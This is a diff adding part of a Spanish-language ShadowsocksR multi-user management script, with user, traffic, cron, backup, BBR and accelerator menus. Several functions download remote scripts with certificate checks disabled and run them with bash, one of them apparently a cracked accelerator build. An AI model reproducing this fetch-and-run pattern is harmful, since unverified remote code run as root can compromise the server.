+	elif [[ ${ssr_modify} == "13" ]]; then
+		Set_user_api_server_pub_addr "Modify"
+		Modify_user_api_server_pub_addr
+	else
+		echo -e "${Error} Ingrese el numero correcto(1-13)" && exit 1
+	fi
+
+}
+List_port_user(){
+	user_info=$(python mujson_mgr.py -l)
+	user_total=$(echo "${user_info}"|wc -l)
+	[[ -z ${user_info} ]] && echo -e "${Error} No encontre al usuario, por favor verifica otra vez!" && exit 1
+	user_list_all=""
+	for((integer = 1; integer <= ${user_total}; integer++))
+	do
+		user_port=$(echo "${user_info}"|sed -n "${integer}p"|awk '{print $4}')
+		user_username=$(echo "${user_info}"|sed -n "${integer}p"|awk '{print $2}'|sed 's/\[//g;s/\]//g')
+		Get_User_transfer "${user_port}"
+		
+		user_list_all=${user_list_all}"Nombre de usuario: ${Green_font_prefix} "${user_username}"${Font_color_suffix}\nPort: ${Green_font_prefix}"${user_port}"${Font_color_suffix}\nUso del trafico (Usado + Restante = Total):\n ${Green_font_prefix}${transfer_enable_Used_2}${Font_color_suffix} + ${Green_font_prefix}${transfer_enable_Used}${Font_color_suffix} = ${Green_font_prefix}${transfer_enable}${Font_color_suffix}\n--------------------------------------------\n "
+	done
+	echo && echo -e "===== El numero total de usuarios ===== ${Green_background_prefix} "${user_total}" ${Font_color_suffix}\n--------------------------------------------"
+	echo -e ${user_list_all}
+}
+Add_port_user(){
+clear
+	lalal=$1
+	if [[ "$lalal" == "install" ]]; then
+		match_add=$(python mujson_mgr.py -a -u "${ssr_user}" -p "${ssr_port}" -k "${ssr_password}" -m "${ssr_method}" -O "${ssr_protocol}" -G "${ssr_protocol_param}" -o "${ssr_obfs}" -s "${ssr_speed_limit_per_con}" -S "${ssr_speed_limit_per_user}" -t "${ssr_transfer}" -f "${ssr_forbid}"|grep -w "add user info")
+	else
+		while true
+		do
+			Set_config_all
+			match_port=$(python mujson_mgr.py -l|grep -w "port ${ssr_port}$")
+			[[ ! -z "${match_port}" ]] && echo -e "${Error} El puerto [${ssr_port}] Ya existe, no lo agregue de nuevo !" && exit 1
+			match_username=$(python mujson_mgr.py -l|grep -w "Usuario \[${ssr_user}]")
+			[[ ! -z "${match_username}" ]] && echo -e "${Error} Nombre de usuario [${ssr_user}] Ya existe, no lo agregues de nuevo !" && exit 1
+			match_add=$(python mujson_mgr.py -a -u "${ssr_user}" -p "${ssr_port}" -k "${ssr_password}" -m "${ssr_method}" -O "${ssr_protocol}" -G "${ssr_protocol_param}" -o "${ssr_obfs}" -s "${ssr_speed_limit_per_con}" -S "${ssr_speed_limit_per_user}" -t "${ssr_transfer}" -f "${ssr_forbid}"|grep -w "add user info")
+			if [[ -z "${match_add}" ]]; then
+				echo -e "${Error} Usuario no se pudo agregar ${Green_font_prefix}[Nombre de usuario: ${ssr_user} , port: ${ssr_port}]${Font_color_suffix} "
+				break
+			else
+				Add_iptables
+				Save_iptables
+				msg -bar
+				echo -e "${Info} Usuario agregado exitosamente\n ${Green_font_prefix}[Nombre de usuario: ${ssr_user} , Puerto: ${ssr_port}]${Font_color_suffix} "
+				echo
+				stty erase '^H' && read -p "Continuar para agregar otro Usuario?[y/n]:" addyn
+				[[ -z ${addyn} ]] && addyn="y"
+				if [[ ${addyn} == [Nn] ]]; then
+					Get_User_info "${ssr_port}"
+					View_User_info
+					break
+				else
+					echo -e "${Info} Continuar agregando configuracion de usuario ..."
+				fi
+			fi
+		done
+	fi
+}
+Del_port_user(){
+
+	List_port_user
+	while true
+	do
+		msg -bar
+		echo -e "Por favor ingrese el puerto de usuario para ser eliminado"
+		stty erase '^H' && read -p "(Predeterminado: Cancelar):" del_user_port
+		msg -bar
+		[[ -z "${del_user_port}" ]] && echo -e "Cancelado...\n$(msg -bar)" && exit 1
+		del_user=$(cat "${config_user_mudb_file}"|grep '"port": '"${del_user_port}"',')
+		if [[ ! -z ${del_user} ]]; then
+			port=${del_user_port}
+			match_del=$(python mujson_mgr.py -d -p "${del_user_port}"|grep -w "delete user ")
+			if [[ -z "${match_del}" ]]; then
+				echo -e "${Error} La eliminación del usuario falló ${Green_font_prefix}[Puerto: ${del_user_port}]${Font_color_suffix} "
+			else
+				Del_iptables
+				Save_iptables
+				echo -e "${Info} Usuario eliminado exitosamente ${Green_font_prefix}[Puerto: ${del_user_port}]${Font_color_suffix} "
+			fi
+			break
+		else
+			echo -e "${Error} Por favor ingrese el puerto correcto !"
+		fi
+	done
+	msg -bar
+}
+Manually_Modify_Config(){
+clear
+msg -bar
+	SSR_installation_status
+	nano ${config_user_mudb_file}
+	echo "Si reiniciar ShadowsocksR ahora?[Y/n]" && echo
+msg -bar
+	stty erase '^H' && read -p "(Predeterminado: y):" yn
+	[[ -z ${yn} ]] && yn="y"
+	if [[ ${yn} == [Yy] ]]; then
+		Restart_SSR
+	fi
+
+}
+Clear_transfer(){
+clear
+msg -bar
+	SSR_installation_status
+	 echo -e "Que quieres realizar?
+$(msg -bar)
+ ${Green_font_prefix}1.${Font_color_suffix}  Borrar el trafico de un solo usuario
+ ${Green_font_prefix}2.${Font_color_suffix}  Borrar todo el trafico de usuarios (irreparable)
+ ${Green_font_prefix}3.${Font_color_suffix}  Todo el trafico de usuarios se borra en el inicio
+ ${Green_font_prefix}4.${Font_color_suffix}  Deja de cronometrar todo el trafico de usuarios
+ ${Green_font_prefix}5.${Font_color_suffix}  Modificar la sincronizacion de todo el trafico de usuarios"
+msg -bar
+	stty erase '^H' && read -p "(Predeterminado:Cancelar):" ssr_modify
+	[[ -z "${ssr_modify}" ]] && echo "Cancelado ..." && exit 1
+	if [[ ${ssr_modify} == "1" ]]; then
+		Clear_transfer_one
+	elif [[ ${ssr_modify} == "2" ]]; then
+msg -bar
+		echo "Esta seguro de que desea borrar todo el trafico de usuario[y/n]" && echo
+msg -bar
+		stty erase '^H' && read -p "(Predeterminado: n):" yn
+		[[ -z ${yn} ]] && yn="n"
+		if [[ ${yn} == [Yy] ]]; then
+			Clear_transfer_all
+		else
+			echo "Cancelar ..."
+		fi
+	elif [[ ${ssr_modify} == "3" ]]; then
+		check_crontab
+		Set_crontab
+		Clear_transfer_all_cron_start
+	elif [[ ${ssr_modify} == "4" ]]; then
+		check_crontab
+		Clear_transfer_all_cron_stop
+	elif [[ ${ssr_modify} == "5" ]]; then
+		check_crontab
+		Clear_transfer_all_cron_modify
+	else
+		echo -e "${Error} Por favor numero de (1-5)" && exit 1
+	fi
+
+}
+Clear_transfer_one(){
+	List_port_user
+	while true
+	do
+	    msg -bar
+		echo -e "Por favor ingrese el puerto de usuario para borrar el tráfico usado"
+		stty erase '^H' && read -p "(Predeterminado: Cancelar):" Clear_transfer_user_port
+		[[ -z "${Clear_transfer_user_port}" ]] && echo -e "Cancelado...\n$(msg -bar)" && exit 1
+		Clear_transfer_user=$(cat "${config_user_mudb_file}"|grep '"port": '"${Clear_transfer_user_port}"',')
+		if [[ ! -z ${Clear_transfer_user} ]]; then
+			match_clear=$(python mujson_mgr.py -c -p "${Clear_transfer_user_port}"|grep -w "clear user ")
+			if [[ -z "${match_clear}" ]]; then
+				echo -e "${Error} El usuario no ha podido utilizar la compensación de tráfico ${Green_font_prefix}[Puerto: ${Clear_transfer_user_port}]${Font_color_suffix} "
+			else
+				echo -e "${Info} El usuario ha eliminado con éxito el tráfico utilizando cero. ${Green_font_prefix}[Puerto: ${Clear_transfer_user_port}]${Font_color_suffix} "
+			fi
+			break
+		else
+			echo -e "${Error} Por favor ingrese el puerto correcto !"
+		fi
+	done
+}
+Clear_transfer_all(){
+clear
+	cd "${ssr_folder}"
+	user_info=$(python mujson_mgr.py -l)
+	user_total=$(echo "${user_info}"|wc -l)
+	[[ -z ${user_info} ]] && echo -e "${Error} No encontro, por favor compruebe!" && exit 1
+	for((integer = 1; integer <= ${user_total}; integer++))
+	do
+		user_port=$(echo "${user_info}"|sed -n "${integer}p"|awk '{print $4}')
+		match_clear=$(python mujson_mgr.py -c -p "${user_port}"|grep -w "clear user ")
+		if [[ -z "${match_clear}" ]]; then
+			echo -e "${Error} El usuario ha utilizado el trafico borrado fallido ${Green_font_prefix}[Port: ${user_port}]${Font_color_suffix} "
+		else
+			echo -e "${Info} El usuario ha utilizado el trafico para borrar con exito ${Green_font_prefix}[Port: ${user_port}]${Font_color_suffix} "
+		fi
+	done
+	echo -e "${Info} Se borra todo el trafico de usuarios!"
+}
+Clear_transfer_all_cron_start(){
+	crontab -l > "$file/crontab.bak"
+	sed -i "/ssrmu.sh/d" "$file/crontab.bak"
+	echo -e "\n${Crontab_time} /bin/bash $file/ssrmu.sh clearall" >> "$file/crontab.bak"
+	crontab "$file/crontab.bak"
+	rm -r "$file/crontab.bak"
+	cron_config=$(crontab -l | grep "ssrmu.sh")
+	if [[ -z ${cron_config} ]]; then
+		echo -e "${Error} Temporizacion de todo el trafico de usuarios borrado. !" && exit 1
+	else
+		echo -e "${Info} Programacion de todos los tiempos de inicio claro exitosos!"
+	fi
+}
+Clear_transfer_all_cron_stop(){
+	crontab -l > "$file/crontab.bak"
+	sed -i "/ssrmu.sh/d" "$file/crontab.bak"
+	crontab "$file/crontab.bak"
+	rm -r "$file/crontab.bak"
+	cron_config=$(crontab -l | grep "ssrmu.sh")
+	if [[ ! -z ${cron_config} ]]; then
+		echo -e "${Error} Temporizado Todo el trafico de usuarios se ha borrado Parado fallido!" && exit 1
+	else
+		echo -e "${Info} Timing All Clear Stop Stop Successful!!"
+	fi
+}
+Clear_transfer_all_cron_modify(){
+	Set_crontab
+	Clear_transfer_all_cron_stop
+	Clear_transfer_all_cron_start
+}
+Set_crontab(){
+clear
+
+		echo -e "Por favor ingrese el intervalo de tiempo de flujo
+ === Formato ===
+ * * * * * Mes * * * * *
+ ${Green_font_prefix} 0 2 1 * * ${Font_color_suffix} Representante 1er, 2:00, claro, trafico usado.
+$(msg -bar)
+ ${Green_font_prefix} 0 2 15 * * ${Font_color_suffix} Representativo El 1  2} representa el 15  2:00 minutos Punto de flujo usado despejado 0 minutos Borrar flujo usado�
+$(msg -bar)
+ ${Green_font_prefix} 0 2 */7 * * ${Font_color_suffix} Representante 7 dias 2: 0 minutos despeja el trafico usado.
+$(msg -bar)
+ ${Green_font_prefix} 0 2 * * 0 ${Font_color_suffix} Representa todos los domingos (7) para despejar el trafico utilizado.
+$(msg -bar)
+ ${Green_font_prefix} 0 2 * * 3 ${Font_color_suffix} Representante (3) Flujo de trafico usado despejado"
+msg -bar
+	stty erase '^H' && read -p "(Default: 0 2 1 * * 1 de cada mes 2:00):" Crontab_time
+	[[ -z "${Crontab_time}" ]] && Crontab_time="0 2 1 * *"
+}
+Start_SSR(){
+clear
+	SSR_installation_status
+	check_pid
+	[[ ! -z ${PID} ]] && echo -e "${Error} ShadowsocksR se esta ejecutando!" && exit 1
+	/etc/init.d/ssrmu start
+
+}
+Stop_SSR(){
+clear
+	SSR_installation_status
+	check_pid
+	[[ -z ${PID} ]] && echo -e "${Error} ShadowsocksR no esta funcionando!" && exit 1
+	/etc/init.d/ssrmu stop
+
+}
+Restart_SSR(){
+clear
+	SSR_installation_status
+	check_pid
+	[[ ! -z ${PID} ]] && /etc/init.d/ssrmu stop
+	/etc/init.d/ssrmu start
+
+}
+View_Log(){
+	SSR_installation_status
+	[[ ! -e ${ssr_log_file} ]] && echo -e "${Error} El registro de ShadowsocksR no existe!" && exit 1
+	echo && echo -e "${Tip} Presione ${Red_font_prefix}Ctrl+C ${Font_color_suffix} Registro de registro de terminacion" && echo
+	tail -f ${ssr_log_file}
+
+}
+#Afilado
+Configure_Server_Speeder(){
+clear
+msg -bar
+	echo && echo -e "Que vas a hacer
+${BARRA1}
+ ${Green_font_prefix}1.${Font_color_suffix} Velocidad aguda
+$(msg -bar)
+ ${Green_font_prefix}2.${Font_color_suffix} Velocidad aguda
+————————
+ ${Green_font_prefix}3.${Font_color_suffix} Velocidad aguda
+$(msg -bar)
+ ${Green_font_prefix}4.${Font_color_suffix} Velocidad aguda
+$(msg -bar)
+ ${Green_font_prefix}5.${Font_color_suffix} Reinicie la velocidad aguda
+$(msg -bar)
+ ${Green_font_prefix}6.${Font_color_suffix} Estado agudo
+ $(msg -bar)
+ Nota: Sharp y LotServer no se pueden instalar / iniciar al mismo tiempo"
+msg -bar
+	stty erase '^H' && read -p "(Predeterminado: Cancelar):" server_speeder_num
+	[[ -z "${server_speeder_num}" ]] && echo "Cancelado ..." && exit 1
+	if [[ ${server_speeder_num} == "1" ]]; then
+		Install_ServerSpeeder
+	elif [[ ${server_speeder_num} == "2" ]]; then
+		Server_Speeder_installation_status
+		Uninstall_ServerSpeeder
+	elif [[ ${server_speeder_num} == "3" ]]; then
+		Server_Speeder_installation_status
+		${Server_Speeder_file} start
+		${Server_Speeder_file} status
+	elif [[ ${server_speeder_num} == "4" ]]; then
+		Server_Speeder_installation_status
+		${Server_Speeder_file} stop
+	elif [[ ${server_speeder_num} == "5" ]]; then
+		Server_Speeder_installation_status
+		${Server_Speeder_file} restart
+		${Server_Speeder_file} status
+	elif [[ ${server_speeder_num} == "6" ]]; then
+		Server_Speeder_installation_status
+		${Server_Speeder_file} status
+	else
+		echo -e "${Error} Por favor numero(1-6)" && exit 1
+	fi
+}
+Install_ServerSpeeder(){
+	[[ -e ${Server_Speeder_file} ]] && echo -e "${Error} Server Speeder esta instalado!" && exit 1
+	#Prestamo de la version feliz de 91yun.rog
+	wget --no-check-certificate -qO /tmp/serverspeeder.sh https://raw.githubusercontent.com/91yun/serverspeeder/master/serverspeeder.sh
+	[[ ! -e "/tmp/serverspeeder.sh" ]] && echo -e "${Error} Prestamo de la version feliz de 91yun.rog!" && exit 1
+	bash /tmp/serverspeeder.sh
+	sleep 2s
+	PID=`ps -ef |grep -v grep |grep "serverspeeder" |awk '{print $2}'`
+	if [[ ! -z ${PID} ]]; then
+		rm -rf /tmp/serverspeeder.sh
+		rm -rf /tmp/91yunserverspeeder
+		rm -rf /tmp/91yunserverspeeder.tar.gz
+		echo -e "${Info} La instalacion del servidor Speeder esta completa!" && exit 1
+	else
+		echo -e "${Error} Fallo la instalacion de Server Speeder!" && exit 1
+	fi
+}
+Uninstall_ServerSpeeder(){
+clear
+msg -bar
+	echo "yes para desinstalar Speed ??Speed ??(Server Speeder)[y/N]" && echo
+msg -bar
+	stty erase '^H' && read -p "(Predeterminado: n):" unyn
+	[[ -z ${unyn} ]] && echo && echo "Cancelado ..." && exit 1
+	if [[ ${unyn} == [Yy] ]]; then
+		chattr -i /serverspeeder/etc/apx*
+		/serverspeeder/bin/serverSpeeder.sh uninstall -f
+		echo && echo "Server Speeder Desinstalacion completa!" && echo
+	fi
+}
+# LotServer
+Configure_LotServer(){
+clear
+msg -bar
+	echo && echo -e "Que vas a hacer?
+$(msg -bar)
+ ${Green_font_prefix}1.${Font_color_suffix} Instalar LotServer
+$(msg -bar)
+ ${Green_font_prefix}2.${Font_color_suffix} Desinstalar LotServer
+————————
+ ${Green_font_prefix}3.${Font_color_suffix} Iniciar LotServer
+$(msg -bar)
+ ${Green_font_prefix}4.${Font_color_suffix} Detener LotServer
+$(msg -bar)
+ ${Green_font_prefix}5.${Font_color_suffix} Reiniciar LotServer
+$(msg -bar)
+ ${Green_font_prefix}6.${Font_color_suffix} Ver el estado de LotServer
+${BARRA1}
+ 
+ Nota: Sharp y LotServer no se pueden instalar / iniciar al mismo tiempo"
+msg -bar
+
+	stty erase '^H' && read -p "(Predeterminado: Cancelar):" lotserver_num
+	[[ -z "${lotserver_num}" ]] && echo "Cancelado ..." && exit 1
+	if [[ ${lotserver_num} == "1" ]]; then
+		Install_LotServer
+	elif [[ ${lotserver_num} == "2" ]]; then
+		LotServer_installation_status
+		Uninstall_LotServer
+	elif [[ ${lotserver_num} == "3" ]]; then
+		LotServer_installation_status
+		${LotServer_file} start
+		${LotServer_file} status
+	elif [[ ${lotserver_num} == "4" ]]; then
+		LotServer_installation_status
+		${LotServer_file} stop
+	elif [[ ${lotserver_num} == "5" ]]; then
+		LotServer_installation_status
+		${LotServer_file} restart
+		${LotServer_file} status
+	elif [[ ${lotserver_num} == "6" ]]; then
+		LotServer_installation_status
+		${LotServer_file} status
+	else
+		echo -e "${Error} Por favor numero(1-6)" && exit 1
+	fi
+}
+Install_LotServer(){
+	[[ -e ${LotServer_file} ]] && echo -e "${Error} LotServer esta instalado!" && exit 1
+	#Github: https://github.com/0oVicero0/serverSpeeder_Install
+	wget --no-check-certificate -qO /tmp/appex.sh "https://raw.githubusercontent.com/0oVicero0/serverSpeeder_Install/master/appex.sh"
+	[[ ! -e "/tmp/appex.sh" ]] && echo -e "${Error} Fallo la descarga del script de instalacion de LotServer!" && exit 1
+	bash /tmp/appex.sh 'install'
+	sleep 2s
+	PID=`ps -ef |grep -v grep |grep "appex" |awk '{print $2}'`
+	if [[ ! -z ${PID} ]]; then
+		echo -e "${Info} La instalacion de LotServer esta completa!" && exit 1
+	else
+		echo -e "${Error} Fallo la instalacion de LotServer!" && exit 1
+	fi
+}
+Uninstall_LotServer(){
+clear
+msg -bar
+	echo "Desinstalar Para desinstalar LotServer[y/N]" && echo
+msg -bar
+	stty erase '^H' && read -p "(Predeterminado: n):" unyn
+msg -bar
+	[[ -z ${unyn} ]] && echo && echo "Cancelado ..." && exit 1
+	if [[ ${unyn} == [Yy] ]]; then
+		wget --no-check-certificate -qO /tmp/appex.sh "https://raw.githubusercontent.com/0oVicero0/serverSpeeder_Install/master/appex.sh" && bash /tmp/appex.sh 'uninstall'
+		echo && echo "La desinstalacion de LotServer esta completa!" && echo
+	fi
+}
+# BBR
+Configure_BBR(){
+clear
+msg -bar
+ echo -e "  Que vas a hacer?
+$(msg -bar)	
+ ${Green_font_prefix}1.${Font_color_suffix} Instalar BBR
+————————
+${Green_font_prefix}2.${Font_color_suffix} Iniciar BBR
+${Green_font_prefix}3.${Font_color_suffix} Dejar de BBR
+${Green_font_prefix}4.${Font_color_suffix} Ver el estado de BBR"
+msg -bar
+echo -e "${Green_font_prefix} [Por favor, preste atencion antes de la instalacion] ${Font_color_suffix}
+$(msg -bar)
+1. Abra BBR, reemplace, hay un error de reemplazo (despues de reiniciar)
+2. Este script solo es compatible con los nucleos de reemplazo de Debian / Ubuntu. OpenVZ y Docker no admiten el reemplazo de los nucleos.
+3. Debian reemplaza el proceso del kernel [Desea finalizar el kernel de desinstalacion], seleccione ${Green_font_prefix} NO ${Font_color_suffix}"
+	stty erase '^H' && read -p "(Predeterminado: Cancelar):" bbr_num
+msg -bar
+	[[ -z "${bbr_num}" ]] && echo -e "Cancelado...\n$(msg -bar)" && exit 1
+	if [[ ${bbr_num} == "1" ]]; then
+		Install_BBR
+	elif [[ ${bbr_num} == "2" ]]; then
+		Start_BBR
+	elif [[ ${bbr_num} == "3" ]]; then
+		Stop_BBR
+	elif [[ ${bbr_num} == "4" ]]; then
+		Status_BBR
+	else
+		echo -e "${Error} Por favor numero(1-4)" && exit 1
+	fi
+}
+Install_BBR(){
+	[[ ${release} = "centos" ]] && echo -e "${Error} Este script de instalacion del sistema CentOS. BBR !" && exit 1
+	BBR_installation_status
+	bash "${BBR_file}"
+}
+Start_BBR(){
+	BBR_installation_status
+	bash "${BBR_file}" start
+}
+Stop_BBR(){
+	BBR_installation_status
+	bash "${BBR_file}" stop
+}
+Status_BBR(){
+	BBR_installation_status
+	bash "${BBR_file}" status
+}
+BackUP_ssrr(){
+clear
+msg -bar
+msg -ama "$(fun_trans "HERRAMIENTA DE BACKUP SS-SSRR -BETA")"
+msg -bar
+msg -azu "CREANDO BACKUP" "RESTAURAR BACKUP"
+msg -bar
+rm -rf /root/mudb.json > /dev/null 2>&1
+cp /usr/local/shadowsocksr/mudb.json /root/mudb.json > /dev/null 2>&1
+msg -azu "$(fun_trans "Procedimiento Hecho con Exito, Guardado en:")"
+echo -e "\033[1;31mBACKUP > [\033[1;32m/root/mudb.json\033[1;31m]"
+msg -bar
+}
+RestaurarBackUp_ssrr(){
+clear
+msg -bar
+msg -ama "$(fun_trans "HERRAMIENTA DE RESTAURACION SS-SSRR -BETA")"
+msg -bar
+msg -azu "Recuerde tener minimo una cuenta ya creada"
+msg -azu "Copie el archivo mudb.json en la carpeta /root"
+read -p "     ►► Presione enter para continuar ◄◄"
+msg -bar
+msg -azu "$(fun_trans "Procedimiento Hecho con Exito")"
+read -p "  ►► Presione enter para Reiniciar Panel SSRR ◄◄"
+msg -bar
+mv /root/mudb.json /usr/local/shadowsocksr/mudb.json
+Restart_SSR
+msg -bar
+}
+
+# Otros
+Other_functions(){
+clear
+msg -bar
+	echo && echo -e "  Que vas a realizar?
+$(msg -bar)
+  ${Green_font_prefix}1.${Font_color_suffix} Configurar BBR
+  ${Green_font_prefix}2.${Font_color_suffix} Velocidad de configuracion (ServerSpeeder)
+  ${Green_font_prefix}3.${Font_color_suffix} Configurar LotServer (Rising Parent)
+  ${Tip} Sharp / LotServer / BBR no es compatible con OpenVZ!
+  ${Tip} Speed y LotServer no pueden coexistir!
+————————————
+  ${Green_font_prefix}4.${Font_color_suffix} Llave de bloqueo BT/PT/SPAM (iptables)
+  ${Green_font_prefix}5.${Font_color_suffix} Llave de desbloqueo BT/PT/SPAM (iptables)
+————————————
+  ${Green_font_prefix}6.${Font_color_suffix} Cambiar modo de salida de registro ShadowsocksR
+  —— Modo bajo o verboso..
+  ${Green_font_prefix}7.${Font_color_suffix} Supervisar el estado de ejecucion del servidor ShadowsocksR
+  —— NOTA: Esta funcion es adecuada para que el servidor SSR finalice los procesos regulares. Una vez que esta funcion esta habilitada, sera detectada cada minuto. Cuando el proceso no existe, el servidor SSR se inicia automaticamente.
+———————————— 
+ ${Green_font_prefix}8.${Font_color_suffix} Backup SSRR
+ ${Green_font_prefix}9.${Font_color_suffix} Restaurar Backup" && echo
+msg -bar
+	stty erase '^H' && read -p "(Predeterminado: cancelar):" other_num
+	[[ -z "${other_num}" ]] && echo -e "Cancelado...\n$(msg -bar)" && exit 1
+	if [[ ${other_num} == "1" ]]; then
+		Configure_BBR
+	elif [[ ${other_num} == "2" ]]; then
+		Configure_Server_Speeder
+	elif [[ ${other_num} == "3" ]]; then
+		Configure_LotServer
+	elif [[ ${other_num} == "4" ]]; then
+		BanBTPTSPAM
+	elif [[ ${other_num} == "5" ]]; then
+		UnBanBTPTSPAM
+	elif [[ ${other_num} == "6" ]]; then
+		Set_config_connect_verbose_info
+	elif [[ ${other_num} == "7" ]]; then
+		Set_crontab_monitor_ssr
+	elif [[ ${other_num} == "8" ]]; then
+		BackUP_ssrr
+	elif [[ ${other_num} == "9" ]]; then
+		RestaurarBackUp_ssrr
+	else
+		echo -e "${Error} Por favor numero [1-9]" && exit 1
+	fi
+
+}
+#Prohibido�BT PT SPAM
+BanBTPTSPAM(){
+	wget -N --no-check-certificate https://raw.githubusercontent.com/ToyoDAdoubi/doubi/master/ban_iptables.sh && chmod +x ban_iptables.sh && bash ban_iptables.sh banall
+	rm -rf ban_iptables.sh
+}
+#Desbloquear BT PT SPAM
+UnBanBTPTSPAM(){
+	wget -N --no-check-certificate https://raw.githubusercontent.com/ToyoDAdoubi/doubi/master/ban_iptables.sh && chmod +x ban_iptables.sh && bash ban_iptables.sh unbanall
+	rm -rf ban_iptables.sh
+}
+Set_config_connect_verbose_info(){
+clear
+msg -bar
+	SSR_installation_status
+	[[ ! -e ${jq_file} ]] && echo -e "${Error} JQ parser No, por favor, compruebe!" && exit 1
+	connect_verbose_info=`${jq_file} '.connect_verbose_info' ${config_user_file}`
+	if [[ ${connect_verbose_info} = "0" ]]; then
+		echo && echo -e "Modo de registro actual: ${Green_font_prefix}Registro de errores en modo simple${Font_color_suffix}"
+msg -bar
+		echo -e "yes para cambiar a ${Green_font_prefix}Modo detallado (registro de conexión + registro de errores)${Font_color_suffix}?[y/N]"
+msg -bar
+		stty erase '^H' && read -p "(Predeterminado: n):" connect_verbose_info_ny
+		[[ -z "${connect_verbose_info_ny}" ]] && connect_verbose_info_ny="n"
+		if [[ ${connect_verbose_info_ny} == [Yy] ]]; then
+			ssr_connect_verbose_info="1"
+			Modify_config_connect_verbose_info
+			Restart_SSR
+		else
+			echo && echo "	Cancelado ..." && echo
+		fi
+	else
+		echo && echo -e "Modo de registro actual: ${Green_font_prefix}Modo detallado (conexion de conexion + registro de errores)${Font_color_suffix}"
+msg -bar
+		echo -e "yes para cambiar a ${Green_font_prefix}Modo simple ${Font_color_suffix}?[y/N]"
+		stty erase '^H' && read -p "(Predeterminado: n):" connect_verbose_info_ny
+		[[ -z "${connect_verbose_info_ny}" ]] && connect_verbose_info_ny="n"
+		if [[ ${connect_verbose_info_ny} == [Yy] ]]; then
+			ssr_connect_verbose_info="0"
+			Modify_config_connect_verbose_info
+			Restart_SSR
+		else
+			echo && echo "	Cancelado ..." && echo
+		fi
+	fi
+}
+Set_crontab_monitor_ssr(){
+clear
+msg -bar
+	SSR_installation_status
+	crontab_monitor_ssr_status=$(crontab -l|grep "ssrmu.sh monitor")
+	if [[ -z "${crontab_monitor_ssr_status}" ]]; then
+		echo && echo -e "Modo de monitoreo actual: ${Green_font_prefix}No monitoreado${Font_color_suffix}"
+msg -bar
+		echo -e "Ok para abrir ${Green_font_prefix}Servidor ShadowsocksR ejecutando monitoreo de estado${Font_color_suffix} Funcion? (Cuando el proceso R lado SSR R)[Y/n]"
+msg -bar
+		stty erase '^H' && read -p "(Predeterminado: y):" crontab_monitor_ssr_status_ny
+		[[ -z "${crontab_monitor_ssr_status_ny}" ]] && crontab_monitor_ssr_status_ny="y"
+		if [[ ${crontab_monitor_ssr_status_ny} == [Yy] ]]; then
+			crontab_monitor_ssr_cron_start
+		else
+			echo && echo "	Cancelado ..." && echo
+		fi
+	else
+		echo && echo -e "Modo de monitoreo actual: ${Green_font_prefix}Abierto${Font_color_suffix}"
+msg -bar
+		echo -e "Ok para apagar ${Green_font_prefix}Servidor ShadowsocksR ejecutando monitoreo de estado${Font_color_suffix} Funcion? (procesar servidor SSR)[y/N]"
+msg -bar
+		stty erase '^H' && read -p "(Predeterminado: n):" crontab_monitor_ssr_status_ny
+		[[ -z "${crontab_monitor_ssr_status_ny}" ]] && crontab_monitor_ssr_status_ny="n"
+		if [[ ${crontab_monitor_ssr_status_ny} == [Yy] ]]; then
+			crontab_monitor_ssr_cron_stop
+		else
+			echo && echo "	Cancelado ..." && echo
+		fi
+	fi
+}
+crontab_monitor_ssr(){
+	SSR_installation_status
+	check_pid
+	if [[ -z ${PID} ]]; then
+		echo -e "${Error} [$(date "+%Y-%m-%d %H:%M:%S %u %Z")] Detectado que el servidor ShadowsocksR no esta iniciado, inicie..." | tee -a ${ssr_log_file}
+		/etc/init.d/ssrmu start
+		sleep 1s
+		check_pid
+		if [[ -z ${PID} ]]; then
+			echo -e "${Error} [$(date "+%Y-%m-%d %H:%M:%S %u %Z")] Fallo el inicio del servidor ShadowsocksR..." | tee -a ${ssr_log_file} && exit 1
+		else
+			echo -e "${Info} [$(date "+%Y-%m-%d %H:%M:%S %u %Z")] Inicio de inicio del servidor ShadowsocksR..." | tee -a ${ssr_log_file} && exit 1
+		fi
+	else
+		echo -e "${Info} [$(date "+%Y-%m-%d %H:%M:%S %u %Z")] El proceso del servidor ShadowsocksR se ejecuta normalmente..." exit 0
+	fi
+}
+crontab_monitor_ssr_cron_start(){
+	crontab -l > "$file/crontab.bak"
+	sed -i "/ssrmu.sh monitor/d" "$file/crontab.bak"
+	echo -e "\n* * * * * /bin/bash $file/ssrmu.sh monitor" >> "$file/crontab.bak"
+	crontab "$file/crontab.bak"
+	rm -r "$file/crontab.bak"
+	cron_config=$(crontab -l | grep "ssrmu.sh monitor")
+	if [[ -z ${cron_config} ]]; then
+		echo -e "${Error} Fallo el arranque del servidor ShadowsocksR!" && exit 1
+	else
+		echo -e "${Info} El servidor ShadowsocksR esta ejecutando la monitorizacion del estado con exito!"
+	fi
+}
+crontab_monitor_ssr_cron_stop(){
+	crontab -l > "$file/crontab.bak"
+	sed -i "/ssrmu.sh monitor/d" "$file/crontab.bak"
+	crontab "$file/crontab.bak"
+	rm -r "$file/crontab.bak"
+	cron_config=$(crontab -l | grep "ssrmu.sh monitor")
+	if [[ ! -z ${cron_config} ]]; then
+		echo -e "${Error} Fallo la detencion del servidor ShadowsocksR!" && exit 1
+	else
+		echo -e "${Info} La supervision del estado de ejecucion del servidor de ShadowsocksR se detiene correctamente!"
+	fi
+}
+Update_Shell(){
+clear
+msg -bar
+	echo -e "La version actual es [ ${sh_ver} ], Comienza a detectar la ultima version ..."
+	sh_new_ver=$(wget --no-check-certificate -qO- "https://raw.githubusercontent.com/hybtoy/ssrrmu/master/ssrrmu.sh"|grep 'sh_ver="'|awk -F "=" '{print $NF}'|sed 's/\"//g'|head -1) && sh_new_type="github"
+	[[ -z ${sh_new_ver} ]] && sh_new_ver=$(wget --no-check-certificate -qO- "https://raw.githubusercontent.com/hybtoy/ssrrmu/master/ssrrmu.sh"|grep 'sh_ver="'|awk -F "=" '{print $NF}'|sed 's/\"//g'|head -1) && sh_new_type="github"
+	[[ -z ${sh_new_ver} ]] && echo -e "${Error} Ultima version de deteccion !" && exit 0
+	if [[ ${sh_new_ver} != ${sh_ver} ]]; then
+		echo -e "Descubrir nueva version[ ${sh_new_ver} ], Esta actualizado?[Y/n]"
+msg -bar
+		stty erase '^H' && read -p "(Predeterminado: y):" yn
+		[[ -z "${yn}" ]] && yn="y"
+		if [[ ${yn} == [Yy] ]]; then
+			cd "${file}"
+			if [[ $sh_new_type == "github" ]]; then
+				wget -N --no-check-certificate https://raw.githubusercontent.com/hybtoy/ssrrmu/master/ssrrmu.sh && chmod +x ssrrmu.sh
+			fi
+			echo -e "El script ha sido actualizado a la ultima version.[ ${sh_new_ver} ] !"
+		else
+			echo && echo "	Cancelado ..." && echo
+		fi
